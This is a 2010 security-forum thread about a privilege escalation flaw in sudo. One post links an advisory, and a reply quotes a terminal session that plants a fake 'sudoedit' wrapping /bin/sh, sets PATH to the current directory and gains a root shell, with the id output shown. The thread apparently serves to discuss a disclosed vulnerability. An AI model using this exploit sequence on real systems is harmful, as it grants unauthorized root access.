Javascript Disabled Detected

You currently have javascript disabled. Several functions may not work. Please re-enable javascript to access full functionality.

Sponsored by: █ Sparkhost - Hosting Without Compromises! █ Hybrid Performance Web Hosting █ Spark Host Stream Hosting █ Hybrid IRC & IRCd Server Shell Accounts

Privilege Escalation In Sudo

Started by bonarez , Jun 02 2010 01:06 AM

Please log in to reply

2 replies to this topic

#1 bonarez

Retired GSO Second Lieutenant

Sergeant Major
1,252 posts

Posted 02 June 2010 - 01:06 AM

Privilege Escalation in sudo > pretty ironic :lol:

/http://www.securityfocus.com/archive/1/511602

"Ask the right question and you will receive the right answer. I'm just very sensitive about the right syntax"

Read the rules before you post

#2 webdevil

Retired GSO General

Sergeant Major
1,195 posts

Posted 02 June 2010 - 08:33 AM

Some insight

> inode@pandora:~$ echo "/bin/sh" > sudoedit
> inode@pandora:~$ /usr/bin/chmod +x sudoedit
> inode@pandora:~$ id
> uid=1000(inode) gid=100(users) groups=100(users)
> inode@pandora:~$ export PATH=.
> inode@pandora:~$ /usr/bin/sudo sudoedit /etc/hosts
> Password:
> sh-3.1# /usr/bin/id
> uid=0(root) gid=0(root)
> groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),
> 11(floppy),17(audio),18(video),19(cdrom),26(tape),83(plugdev),
> 84(power),86(netdev),93(scanner)
> sh-3.1#